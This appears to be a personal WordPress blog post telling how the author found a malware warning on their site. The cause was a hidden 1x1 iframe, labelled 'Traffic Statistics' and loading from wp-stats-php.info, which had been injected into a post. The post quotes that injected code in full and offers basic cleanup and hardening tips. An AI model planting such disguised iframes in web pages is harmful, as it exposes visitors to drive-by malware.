Comcast.net and Comcast webmail accounts were hacked earlier today.

The hacking of Comcast email services shows the importance of using a good strong password.

Despite ISPs like Comcast using the most advanced email security solutions, hackers can and will get through eventually.

Google certainly act fast. My site is no longer classified as “This Site May Harm Your Computer” sites. I am quite happy with how fast Google acts.

Be the way, I forget to mention in the previous post that if you are a firefox user, you should install No Script Add-ons. It certainly filter off script of those site that you did not even know you are visiting.

Today I Google Search for Richard Palace and to my surprise, I found my site, RichardPalace.com, has been identified to contain malicious software. Immediately, I checked with No Script Add-ons for FireFox and discover a domain which is rather unfamiliar. The domain is wp-stats-php.info and I thought the site was related to WordPress correcting some Stats, but it was not. I then checked my site source code for the domain name wp-stats-php and found the following code:

<!– Traffic Statistics –> <iframe src=”http://www.wp-stats-php.info/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″></iframe> <!– End Traffic Statistics –>

This code was inserted on my blog post on 11th Nov 2007 by someone or software. I immediately removed it and asked Google to review my site so as to remove “This site may harm your computer” tag. I am not sure how this iframe code got into my blog. If it happens to me, it can also happen to you.

If you are using wordpress, I suggest you do the following:
1) Upgrade wordpress to the latest version.
2) Change your theme.
3) Check your site source code regularly for “iframe”.
